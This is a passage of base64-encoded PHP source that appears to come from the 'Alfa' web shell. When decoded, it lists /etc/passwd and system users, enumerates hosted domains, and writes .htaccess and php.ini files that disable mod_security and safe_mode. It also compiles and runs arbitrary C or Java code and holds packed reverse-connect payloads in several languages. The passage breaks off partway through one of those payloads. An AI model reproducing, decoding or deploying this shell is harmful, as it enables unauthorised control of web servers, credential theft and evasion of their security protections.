KExpdGVTcGVlZCkgfDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsXCdwYXNzd2RcJykiPnwgUmVhZC1QYXNzd2QgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd1c2Vyc1wnKSI+fCBSZWFkLVVzZXJzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd2YWxpYXNlc1wnKSI+fCBHZXQtVXNlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2RvbWFpbnNcJykiPnwgR2V0LURvbWFpbnMgfCA8L2E+PC9jZW50ZXI+PC9oMz4nOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTgnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhOCddKSA9PSAnZG9tYWlucycpew0KaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KZWNobyBfX3ByZSgpOw0KJHNvbGV2aXNpYmxlOSA9IF9hbGZhX2ZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KaWYoaXNfYXJyYXkoJHNvbGV2aXNpYmxlOSkpew0KZm9yZWFjaCgkc29sZXZpc2libGU5IGFzICRzb2xldmlzaWJsZTEzKXsNCmlmKEBlcmVnaSgnem9uZScsJHNvbGV2aXNpYmxlMTMpKXsNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7DQppZihzdHJsZW4odHJpbSgkc29sZXZpc2libGUxNFsxXVswXSkpID4gMil7DQplY2hvICRzb2xldmlzaWJsZTE0WzFdWzBdLic8YnI+JzsNCn19fQ0KfQ0KfWVsc2V7DQplY2hvIF9fcHJlKCk7DQokdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7DQppZihpc19hcnJheSgkdXNlcnMpKXsNCmZvcmVhY2goJHVzZXJzIGFzICRib3opew0KJGRvbSA9IGV4cGxvZGUoIjoiLCRib3opOw0KZWNobyAkZG9tWzBdLiJcbiI7fX19fQ0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTYnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNiddKSA9PSAndmFsaWFzZXMnKXsNCmVjaG8gJw0KPGZvcm0gb25zdWJtaXQ9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd2YWxpYXNlc1wnLHRoaXMuc2l0ZS52YWx1ZSxudWxsLFwnPj5cJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0icG9zdCIgLz48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnQiPlVybDogPC9mb250PjxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0ic2l0ZS5jb20iIG5hbWU9InNpdGUiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICc+Picpew0KaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KJHNpdGUgPSB0cmltKCRfUE9TVFsnYWxmYTcnXSk7DQokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7DQokdXNlciA9ICIiOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIikpew0KCWlmKCR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMveyRyZXB9IikpKXsNCgkJJHVzZXIgPSAkdXNlclsnbmFtZSddOw0KCX0NCn1lbHNlew0KCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpew0KCQkkdXNlciA9IGFsZmFFeCgic3RhdCAtYyAnJVUnIC9ldGMvdmFsaWFzZXMvIi4kcmVwKTsNCgl9DQp9DQppZighZW1wdHkoJHVzZXIpJiYkdXNlciE9J3Jvb3QnKXsNCmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXI6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyR1c2VyfTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZSB7ZWNobyBfX3ByZSgpLic8Y2VudGVyPjxiPk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkgT3IgRGlzYWJsZSBGdW5jdGlvbnMgaXMgbm90IE5PTkUuLi48L2I+PC9jZW50ZXI+Jzt9DQp9ZWxzZXsNCiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOw0KJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOw0KJHVzZXJzID0gX2FsZmFfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOw0KZm9yZWFjaCgkdXNlcnMgYXMgJGJveil7DQokZXggPSBleHBsb2RlKCI6IiwkYm96KTsNCmlmKCRleFswXSA9PSAkcmVwKXsNCmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4NCjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLnRyaW0oJGV4WzFdKS4iPC9mb250PjwvYj48L3RkPjwvdHI+DQo8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iO2JyZWFrO319fX19DQppZighZW1wdHkoJF9QT1NUWydhbGZhNSddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE1J10pKXsNCmlmKCFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsNCmVjaG8gX19wcmUoKTsNCiRpID0gMDsNCndoaWxlICgkaSA8IDYwMDAwKSB7DQokbGluZSA9IEBwb3NpeF9nZXRwd3VpZCgkaSk7DQppZiAoIWVtcHR5KCRsaW5lKSkgew0Kd2hpbGUgKGxpc3QgKCRrZXksICR2bCkgPSBlYWNoKCRsaW5lKSl7DQplY2hvICR2bC4iXG4iOw0KYnJlYWs7fX0kaSsrO30NCn1lbHNle2VjaG8gX19wcmUoKTsNCiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsNCmZvcmVhY2goJHVzZXJzIGFzICRib3opew0KJHVzZXIgPSBleHBsb2RlKCI6IiwkYm96KTsNCmVjaG8gdHJpbSgkdXNlclsxXSkuJzxicj4nO319fQ0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNCddKSl7DQplY2hvIF9fcHJlKCk7DQppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXtlY2hvIF9fcmVhZF9maWxlKCIvZXRjL3Bhc3N3ZCIpO31lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpKXsNCmZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspew0KJGFyYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCmlmKCFlbXB0eSgkYXJhKSl7DQp3aGlsZShsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KZWNobyAiJHZhbDoiOw0KfWVjaG8gIlxuIjt9fQ0KfWVsc2V7X19hbGVydCgnZmFpbGVkLi4uJyk7fX0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTInXSkpew0KQF9fd3JpdGVfZmlsZSgkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsIiNHZW5lcmF0ZWQgQnkgU29sZSBTYWQgYW5kIEludmlzaWJsZVxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjLS0tLS0tRW5naW5lIE9mZlxuU2VjLS0tLS0tU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOw0KZWNobyAnPGNlbnRlcj48Yj48YmlnPmh0YWNjZXNzIGZvciBBcGFjaGUgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pJiYgaXNzZXQoJF9QT1NUWydhbGZhMSddKSl7DQpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInNhZmVfbW9kZT1PRkZcbmRpc2FibGVfZnVuY3Rpb25zPUJ5UGFzc2VkIEJ5IFVDRU4gSEFYT1IgRnQgVElBUkEpIik7DQplY2hvICc8Y2VudGVyPjxiPjxiaWc+IHBocC5pbmkgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkpew0KQF9fd3JpdGVfZmlsZSgkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsIiNHZW5lcmF0ZWQgQnkgU29sZSBTYWQgYW5kIEludmlzaWJsZVxuPEZpbGVzICoucGhwPlxuRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNFxuPC9GaWxlcz5cbjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz5cblNlY0ZpbHRlckVuZ2luZSBPZmZcblNlY0ZpbHRlclNjYW5QT1NUIE9mZlxuPC9JZk1vZHVsZT4iKTsNCmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgTGl0ZXNwZWVkIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7DQp9DQplY2hvICI8YnI+PC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIF9fZ2V0X3Jlc291cmNlKCRjb250ZW50KXsNCnJldHVybiBAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkY29udGVudCkpOw0KfQ0KZnVuY3Rpb24gX193cml0ZV9maWxlKCRmaWxlLCAkY29udGVudCl7DQppZigkZmggPSBAZm9wZW4oJGZpbGUsICJ3YiIpKXsNCmlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKSByZXR1cm4gdHJ1ZTsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGJjaW5pdCgkZXZhbFR5cGUsICRldmFsQ29kZSwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyl7DQokcmVzID0gIjxmb250IGNvbG9yPSdncmVlbic+WyBTdWNjZXNzLi4uISBdPC9mb250PiI7DQokZXJyID0gIjxmb250IGNvbG9yPSdyZWQnPlsgRmFpbGVkLi4uISBdPC9mb250PiI7DQppZigkZXZhbE9wdGlvbnMhPSIiKSAkZXZhbE9wdGlvbnMgPSAkZXZhbE9wdGlvbnMuIiAiOw0KaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsNCmlmKCRldmFsVHlwZT09ImMiKXsNCiR0bXBkaXIgPSBBTEZBX1RFTVBESVI7DQpjaGRpcigkdG1wZGlyKTsNCmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsNCiR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7DQokZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsNCiRwYXRoID0gJGZpbGVuYW1lOw0KaWYoX193cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsNCiRleHQgPSAoJEdMT0JBTFNbJ3N5cyddPT0nd2luJyk/ICIuZXhlIjoiLm91dCI7DQokcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0Ow0KJGV2YWxPcHRpb25zID0gIi1vICIuJHBhdGhyZXMuIiAiLiRldmFsT3B0aW9uczsNCiRjbWQgPSAiZ2NjICIuJGV2YWxPcHRpb25zLiRwYXRoOw0KYWxmYUV4KCRjbWQpOw0KaWYoaXNfZmlsZSgkcGF0aHJlcykpew0KaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsNCiRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsNCmFsZmFFeCgkY21kKTsNCn1lbHNleyRyZXMgPSAkZXJyO30NCnVubGluaygkcGF0aHJlcyk7DQp9ZWxzZXskcmVzID0gJGVycjt9DQp1bmxpbmsoJHBhdGgpOw0KfWVsc2V7JHJlcyA9ICRlcnI7fQ0KfQ0KcmV0dXJuICRyZXM7DQp9ZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsNCiR0bXBkaXIgPSBBTEZBX1RFTVBESVI7DQpjaGRpcigkdG1wZGlyKTsNCmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsNCmlmKHByZWdfbWF0Y2goIi9jbGFzc1wgKFtee10rKXsvaSIsJGV2YWxDb2RlLCAkcikpew0KJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOw0KJGZpbGVuYW1lID0gJGNsYXNzbmFtZTsNCn1lbHNlew0KJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsNCiRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsNCiRldmFsQ29kZSA9ICJjbGFzcyAiLiRmaWxlbmFtZS4iIHsgIi4kZXZhbENvZGUgLiAiIH0gIjsNCn0NCiRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7DQppZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpew0KJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsNCmFsZmFFeCgkY21kKTsNCiRwYXRocmVzID0gJGZpbGVuYW1lLiIuY2xhc3MiOw0KaWYoaXNfZmlsZSgkcGF0aHJlcykpew0KaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsNCiRjbWQgPSAiamF2YSAiLiRmaWxlbmFtZS4kZXZhbEFyZ3VtZW50czsNCmFsZmFFeCgkY21kKTsNCn1lbHNleyRyZXMgPSAkZXJyO30NCnVubGluaygkcGF0aHJlcyk7DQp9ZWxzZXskcmVzID0gJGVycjt9DQp1bmxpbmsoJHBhdGgpOw0KfWVsc2V7JHJlcyA9ICRlcnI7fQ0KfQ0KcmV0dXJuICRyZXM7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBhbGZhY29ubmVjdCgpew0KYWxmYWhlYWQoKTsNCiRwaHA9IjdWWnRhOXN3RVA1ZTZIOVFqYUUyUzV1WGZoZzBwREJZUHc3S1Z0aUh0ak9PTE5jaXRxVko4cEt4cGI5OWQzNkw0emlkMTdXd1FWMXdyYnZUbzBlNk96MWhTZ25sS1NhRk1qeTlkMGJ1OVBCQU0rTVpuakF2NWdrM2hVM01QWjdJbUZOdXZERE9kT1NnMVRhK3VtZEdreGxoS3htTGdEa1dzUWFrdE9jaEZMM2pzN08zT0ZqNk1FaXpPTVlCYXc1MEJBTUxVSUFKdWI3OCtHRzJNa3dsMDZ0UDQ5bnhyWDMxK2YzRjhiUjBnMjA2blBOMENKTk91SVhURTV6OVFON0ZvVSt1bVo4UUhiRTRKZy9rOEFEOVBDUU9GVmxxbklxeVMyWkF5eVUvRGc4SVBMWUVnTkkzTFUwNUk2c2FHUnpCb2dGYTFvVEZtdTFCblhTaTZwdlJYUk81Tm8vdnRwZnc2U0pmb21BZFppazFYS1FlVzNGdHRITXNhV3BpTHhScWNldzJGdUlCVE43NDh2U2dCekVLNzR5YzRJWUJ4empqdHJ1MGo1cDJLVFJmZVZBTm1nZU8yd0ZRVWtUZTFkbHNHR0hhdFZHUUMwOEx1b0NhMGt4OVk4cXhESlhudytIb05QODd0OGdwMEllYVlVcWxvdmdQOHlvaUZVUlpreUtEdzlZRGNsWXp0ZW5PUWo2bFRHSmNjemNRWWtRc2xzQkFaM01ZT1RLU1hwYjZDWFBjQVJrQnBwdHYwbHJ5ZExNUGZNS2w0b1k1TmdWMkNkQ0Z0TkVsSHNrcHNTNnNhaEY4bGhHUEdaNG9PUUtrMEljaTJVS3FpeUxFMUFOaWMzSjk3b3JkZTRsdmFPUllReHJjRXVmbXk2MitlK01PT2ZZV25wVlM3ZzV1amgxZ0dZQjdVMVZ0ZEs2OWdDc0hJZ0dDUnRWM1I3UXRBR3Q3cjYyb1RSc1l4WlBtRWR1eVBFeXNGb3Y4L0VuMlJuek5JTUlsYzhqZ29vV1A2QVVOSHhyN2NvV1RrSWkxazRUV3hHYkdSSE52NjBaV2FTdzBhK1dnTXRhbFUyeHhielUwNTlvQjFyeXZsUC9kR1pIWlJmbHBTUzRaSk01U0Z0VFp1TU94Uk1lazI3RzFnRlRZNUVwUVQwaVdBc3RvZ0t0aVVYRFpqTVNVSEVHbUZkTWlVeFRZU3F5WTdkN0hwOUZlOHhpNkIwVUF3ZUN5Z3A3b0ZUbnVIVG5wRlVsYlFXVlBHWlh0OWxKK1F6SVJZaGF4eUlydmdwWGJYVk8yOHVzczVUbXM5bEJTYkhkQ3pURm1GTzRVNVVQa0VsOE1YcWhlWFMzTVU2K3hndkwzZEN2SG13RGdneUtPNnE0MnJPcXR5b3JOMjFIcnh3alUyK3ZEb2c1K25BcDlFb3ZKbjdDWS9EMkxqbDdYWGIzZWVRRVVwNzNQTTk3cjJTNmd2RmNyYjYxcDYrWVBpRW85VWZhMzFUTkVPU3NhUFNydmZaYmlhMHYvbmtuYjlMTnIyMDd1WHJXdGliOVAyK0FIYTE5MTB6M1VyWWVRNlZjaGV4RWgwMDhTTXYwa0lkTXZMbVM2NStXdC95Y2gwLytFa1AyT1JWOGhlMm5OK2dVPSI7DQokcHl0aG9uPSJwVlJ0VDlzd0VQNmNTdjBQeHB0V1I4ME03WVkwd1lKVVFaalFCbFJ0cDMwQVZxWE9wWW1XT3BIdFFQbkNiNS90SkcxQUhVS2FxcmErVjk5ejk1emY3ZTJYVXV3dlVyNFAvQjRWanlySmViZVRyb3BjS0NUQWsrV2lFRGtES2IxY2V2SlJmM1AyQjVTbjBoVjBPNFdQY2JlVDJOOElZaVFUeURMQzNLTnV4ekZ4L2phZWp2TUNPR0dlOWZGbm90VFpWWlNYNnBuVHhUZ3dhaEJpbHpybEw3V3V2a21BS2dWSFJrMnJsRlJBR0JHMzM2aDB1cFpxVlNqaVV1QXNqNEQwU2hWLy9OTFRlU29JSVZOcHptc01hWXh5U1htNGdqMGZjNFdOem9sOVJ1TTBBNTRUYzd1alBYUmpGS3dJaHJWdDNDeVlYUHByQldKMVBKNE8vTjc3OGErems5NXhiZFdxWTl0eW1hQ1BLZnI2QWZlbEVpUjIreGlkdElYaFZqSVhRU2JCRnZDUTZOdVI2YUFWSFNVZXE0TWpkR2tDMkQwWkhBdy91elFDQ3hGYmlOZ1c2OENhUWFGcS95S1VzdEkydVIyRFdXTWp3ajA1cURYT3doZEFKWVNDSlFTejZCYVJtOSszOHE3dllrOTRjUll1cFhHNCtIWjFQUWxPUjlQQXJlTjBxa1dUbys1bEVhcUVwakpLQlZuUXBjakxnZ3hjZCtOa21zbVNGOWJHcUVjSlBDTC9tbURqMThLaTh4bCtXVllLdDExSnFWRElJNHRVbnczV09ydVJLa2ViQjlYa09nKzExSENrcWVCb1N6NTh5M0ZmRjc4RXhSNE16L0NKM29tbHI1bEJRN0c4MTB0VjlYWHArdjdRN29lL3ZCbmNkVHVRdFN5ZjJoWW4wWWVoZGRHVndEcFZ1aHRtNlZLdVNLRlAwcSsya1ZaL3BKWkc1L09McTJCV3J5cWRYcDkrbjA5bmsyQjBhV0kwVEdVc2ViRUptRjcvbUJ1dmRzeDhFdnljQnFPenM0bG5MbjFadmFTYXdSRWgrSURhRC9ZS093QkpzMVR2QWllSFJqTE0xQ3NmdXI3dUFqUEVzeXZUNHFCNVI2ak1BQXFMYlR1OG5hdlhVSURnSnpUSzRoRE5JRnlocVprdmV0SVQyTTJKTFNGZUM4ZWJwMkYzbHMzRDhLd1pkbUFHSnRMRXpUa0hwZ2hKNm1ic3hubjRCcHp5LzNDK0Z2NUduTkw5Q3c9PSI7DQokcGVybD0ibFpMUmpwTkFGSWF2MjZUdk1PSnNDOGtZV3IxYnBKRlEzRFJyUzhPd0dtT1ZzUFNzVEtRRGdWbTNtKzcyMlowQlZpZkdHTDA3NTUvRGQrQWJuait6YjV2YXZtYmNCdjRkVlZBWG8rRnRBMmdabnAvVE12c0d3aGtOY2RtNCtFdW9xaVozRFRoVVpTMVFIRVFyOXlDZzNqc2JPbk1uVzd6NXNOak9KMDUvTGtPbkpUYzVlc0VNK1RTN01SWHF0TGZ2Wk15c1k0czc4OE1WM1FUK0diSXZEZWRSTGhIdVZ4QlZYWXJ5K3A2bmV6QW5JcXNtbGlRMDdTdVpsSXczYjVQbE9vakptSWIrWlVMaktQQldCQXZyNFdISHdMUzZiVys4Nk9LOTY4NnM0Mmc0d0pXTFZmOXArbG1lRGhvUWlsWldDa2ZEZDRrQ1NTQU5reWk0b29HM1dFUmtwa0FEK1JFN09hVEcwOTJ1VGhnM2NVV1dheldTZU91UGxyWjFVTEJHQUpmanIvUTB6VEtRbTN4Q3JXNjVKUHJFT0NHdnVFbFJET2tlMFJ5S0FwMjIzQ0RUZHFpc2dDTWFMNVpyWXJ3ZSs0YnpGSVJYTVRIbWVoSkVVWi9JNStBQUdaSnF0ZlZaVVRaZytwYlRGZlJub2VoYUk4bGFKNmxXQjJRQ1RXVWxMd2VLNXBmWWwzOFNpL08rblhVdGN4a0hrYVNpbE5weVhRcE8zZCtjWXFhZlp5WG5rS243d2FtZXQvYm9QOWd6ZTN2ek1UVXM1eW5wOWVsUjcwOUZmeFA0Zjk0NlczQlUra3o1SnozK0FBPT0iOw0KJHJ1Ynk9InRWYjdiOU02RlA3WitTdU1OMGh6VnhMR1EraDJONnZHVTBnZ3FqRzRRbVFYdGM1cFl5MTFndTNRb1czODdmaVZycVh0MWl2ZDY2cDFlczduOC9UNTJwMDdTU05GTW1JOEFmNGRpMmIwSTlqQmhWSzE3Q1hKaEttaUdjVzBtaWFqUjA4Zm43blBRTUMzaGduQW9hem9HYWp3V2xBUFZjR0hVd2lESUljeGxnMDlrd0VTb0JyQjhmSEhaNSsvRHQ0ZW5ieDZmL3d1enFzWnAwTUo4WFNvYU5FSnAzTEcrS1Y1VHhtZnpNS29yMFFEdmZHd2xCQUF6NTFGQWNQU09PbElKU0p0T2RWN2dOZ1l2MklseEhET3BKSjlyOVRhZ1k4bjVqQ3owcmcxRUt2cXF3N05HRGJIYmFSWUZjQ3hTRVU4a2Myb2syUkowaVZaUmlKc1lUNE40YUxSaDQ2T1gzK0tTK0FUVmFUcGZvRDFNcUl2RDA3VG44ay9YeDdjLy9QMFlyLzc1R28zNmRmcEc2NWdBcUxqRVZGUEI2dnNHWm1lUEI5OEFQRWRoSTJUa0c0ZFdRMU5aVHlrRkdvSHBIRXRHRmVZMkRaZ1dVQlo0aDZtRmVkQUZlUVpKeFkzZ2duajlza3NIU2l2bE84RlhsampsSm9xc0NVaG5BUEYwdm9aZHdpYzE1VlErT1RsOGJ2MFhJR1lIZ3crN0tkaHRqdjQrMFYyR0I1NHZSWWUyRHNrQzN5ZjRleXY3TjdkSEdlSGRudm9kdElkbTFjMDl3YW1zWXV1Mi9UbVBTWXhpZmJJSVZsQ3pRcmRhVnpxMkNlZ2xoTXlTd3laQkF4Q1ZPS1pxRXp5cFdsR3ppQVQvZDFrQmUrclU4YTBxS1oxbWhLeUF2RXdZNGZtT1A0allXc2hacFZwNmUrT1JpYXNHNGFSTTd6eFJIdDFjejAvVkZYaVI3OVRSaHZSenNlOFFMY2dYekNodld2TE53SE5aZDZrMjY0akN3MzFaY3BtdlJ2THRDNXBWNmV0RTdvTi9wK21CUnROdlhrZjExVU52Rk4yaVNEUnhTV3JMbHZ6ckRKc2srOFJQWmQ3Szc2dWdtM0QvbDIyK0wxOUZpQnBjMzN2TmZuTjZRVzRiTVIxQmpLbVpiV1FrVXc1SzRQV2x1dmhFckU5dEFTNWdkaTBvMVZxTzlEU0lyWGY5azgxeDVvQytvQWM0VHJHc3o4ZWp2RjJMb29yeTNwSWJzRnh5QkVjUWt2VWhoQWFhNzYwaklhTXUvK2J5RkNiMlR6bzFRdWxsUzFoU1VkWVdvSnVJU2tiUDFyRFRNakxGNm5JeXRCbTRrSHRvVFUwZzlyRGk0emloVXZrNFVTMmQzYmRtTEN0eTI5TXNEbUtkcEJYM1M1ci9vMXo4TWgxMHltM25NNGxwMzUzbS84enNIYmdrSjgyRTZXYk0vMWtKd3o1OFhLVFo4Rkc4Z3M9IjsNCiRub2RlPSJuVkhMYXNNd0VEd3JrSDhRdmxpQ29FRFRXOGloOUJQU1cvcEF0ZGVSUUpaY1NYWUtJZm4yeXJLZDV0R1dZaCtFZDJkMk5EdHF1TVd1NGp1TlY5akNSeTB0a0RRVFV1VnZsVFVaT0pkU0Znbkw2YVFKWkEzK25CcktsUGFROHhaNGVZNTJuUk1oTTlvWkJSZFhkYTFJNlZVRUtCVW82ZnhkNnJrVGFVQmtRWG8zckZMY0Y4YVdyT1ErRTJUK3Vnc3NTZW4zWEZibURENGhQU2x5dTIwQ01DaTBaYWZaL2pFRmV1dkZhcldnKytrRXRYd1J5R0V2bGdYekh0WmdHN0NrcUhYbXBkSEVSUjV5YkdlbEI1SWM4WU1xT0g1cVYxOUhEOGRubmJUNzRQN3J0Z3FpTVVjU2paN2pUakRuYzZtWkJWZVhRT2cxWkdyUHdzMUp6ajFQWm9NVFROcWE3Z2Nuc1ZvZWJwWEIycEhqZjQwTnBtK21VWGNLcHFUem9HUEttN3VYdG5tWVRrQTV3TmZaMzUreWR4ZlpQeHF0b1l1OVY1bkYxOXdzb3R4L0hnSDlsajc2SVhZME1tODBNbWcwTHVIREZ3PT0iOw0KJGM9InRWSnRiOW93RVA3Y1N2MFBIcDFhcC9XQXNPMFRUYVdvWkJMYUNoSEpORTBiaWxMSE5LY1pHOFZtZ2s3cmI5OGxCQXJaaS9hbFVxemNQZmY0N256UG5ZTGljcGtKY21Wc0JycWRYNThjbis1aEJhajczOEJNd2wwVFhKdU9YUytFK1FOdU5QOG1iQ09naEFVOEhWQ053RklCVnFoQVVKYk1VMUMwTk5MaW5qT2Vwd1c1UVBQN2w2bno0K1Q0cUl3WXhwbjIzRDY2MlBDU0k0SVYweXdyRWxBRVNoeG10THp2ZWIzcTFoRzBEYWhrbHM1QnJqMy9YVEljQlhIL0tiRFFoZlZ5cTVXaHFkVkFxNEx1MUhIMk9HWCt0cWwrRlZYUzRjZ2ZEQ2FKUC9xODRSbHY4M0phRjJEUitPWjlFc1dUd0w5bDNab2piRW5TQzBzTnhqOGtKYWVpSnBQZ1l4U1VHZG1aWmdZZWhKNVJ2VzFoUmw4WVI2ekEwanJSSGFnTVU5REdCTWlGY3dhc3UzSnJtc1RoQ29YRXR4dWZleW5ub3FyZWZlb0pVM0hXZWlTK25LVWtGdW1jUkxtUWtqeCtWUzNXZTdNbFpzdEZENG1Ibm52ZzllcVVheXc3cHkyeEtrZEw0bUJ5NjYyc0tPYjlNSEs5ODVmaHA4SDFlYitPSW9TbTRLU0RqK3FZbkx5Q1Z0MnQxRVpRWGprLzhRaHBCTmxwKy9wWnRDMjN0TEkyek42MG52ZURLUFFXWWpoMWlXUGRNaTdkeTMxa2wvMmZHekVNdzhrNEhpZnhUYmdUbVhLdGxPRDJyOHJXZTlHSU9ZNXoxVDFZajBwVDg3K2Ftb2JuSG5qUG9hblphb3JmTHc9PSI7DQokamF2YT0ibFZSTmI5c3dERDJuU